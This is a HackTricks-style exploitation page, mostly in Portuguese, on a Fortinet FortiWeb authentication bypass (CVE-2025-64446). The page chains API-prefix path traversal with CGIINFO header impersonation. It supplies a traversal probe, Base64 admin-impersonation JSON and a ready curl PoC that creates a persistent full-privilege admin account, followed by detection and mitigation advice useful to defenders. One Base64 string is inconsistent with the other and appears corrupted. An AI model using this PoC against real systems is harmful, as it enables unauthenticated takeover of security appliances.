Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Visão geral

Fortinet FortiWeb expõe um dispatcher CGI centralizado em /cgi-bin/fwbcgi. Uma cadeia de dois bugs permite a um atacante remoto não autenticado:

  • Alcançar fwbcgi iniciando a URL com um prefixo de API válido e atravessando diretórios.
  • Impersonar qualquer usuário (incluindo o admin embutido) fornecendo um cabeçalho HTTP especial que o CGI confia como identidade.

Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). A exploração foi observada em ambiente real para criar usuários admin persistentes.

Versões impactadas (conforme documentado publicamente):

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 ≤ 6.4.3
  • 6.3 ≤ 6.3.23

FortiWeb 8.0.2 returns HTTP 403 for the traversal probe below.

Sonda rápida de vulnerabilidade

  • Path traversal from API prefix to fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • Interpretation: HTTP 200 → provavelmente vulnerável; HTTP 403 → corrigido.

Cadeia da causa raiz

  1. API-prefix path traversal to internal CGI
  • Qualquer caminho de requisição que comece com um prefixo de API válido do FortiWeb (por exemplo, /api/v2.0/cmdb/ ou /api/v2.0/cmd/) pode usar ../ para chegar a /cgi-bin/fwbcgi.
  1. Minimal-body validation bypass
  • Uma vez que fwbcgi é alcançado, um primeiro gate realiza uma verificação permissiva de JSON baseada em um arquivo por caminho em /var/log/inputcheck/. Se o arquivo estiver ausente, a verificação passa imediatamente. Se presente, o corpo só precisa ser JSON válido. Use {} como corpo mínimo compatível.
  1. Header-driven user impersonation
  • O programa lê a variável de ambiente CGI HTTP_CGIINFO (derivada do header HTTP CGIINFO), decodifica em Base64, analisa o JSON e copia atributos diretamente para o contexto de login, definindo o domain/VDOM. Chaves de interesse:
  • username, loginname, vdom, profname
  • Example JSON to impersonate the built-in admin:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}

Base64 do conteúdo acima (como usado in-the-wild):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

Padrão de abuso fim-a-fim (não autenticado → admin)

  1. Acesse /cgi-bin/fwbcgi via an API-prefix traversal.
  2. Forneça qualquer corpo JSON válido (por exemplo, {}) para satisfazer a verificação de entrada.
  3. Envie o header CGIINFO: <base64(json)> onde o JSON define a identidade alvo.
  4. Faça POST do JSON de backend esperado por fwbcgi para executar ações privilegiadas (por exemplo, criar um usuário admin para persistência).

PoC mínimo em cURL

  • Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • Personificar o admin e criar um novo usuário admin local:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

Notas:

  • Any valid JSON body suffices (e.g., {}) if /var/log/inputcheck/<path>.json does not exist.
  • The action schema is FortiWeb-internal; the example above adds a local admin with full privileges.

Detecção

  • Requests reaching /cgi-bin/fwbcgi via API-prefix paths containing ../ (e.g., /api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi).
  • Presence of header CGIINFO with Base64 JSON containing keys username/loginname/vdom/profname.
  • Backend artifacts:
  • Per-path files under /var/log/inputcheck/ (gate configuration).
  • Unexpected admin creation and configuration changes.
  • Rapid validation: the traversal probe returning 200 (exposed) vs 403 (blocked in fixed builds).

Mitigação

  • Upgrade to fixed releases (examples: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) per vendor advisory.
  • Until patched:
  • Do not expose FortiWeb management plane to untrusted networks.
  • Add reverse-proxy/WAF rules to block:
  • Paths that start with /api/ and contain ../cgi-bin/fwbcgi.
  • Requests carrying a CGIINFO header.
  • Monitor and alert on the detection indicators above.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks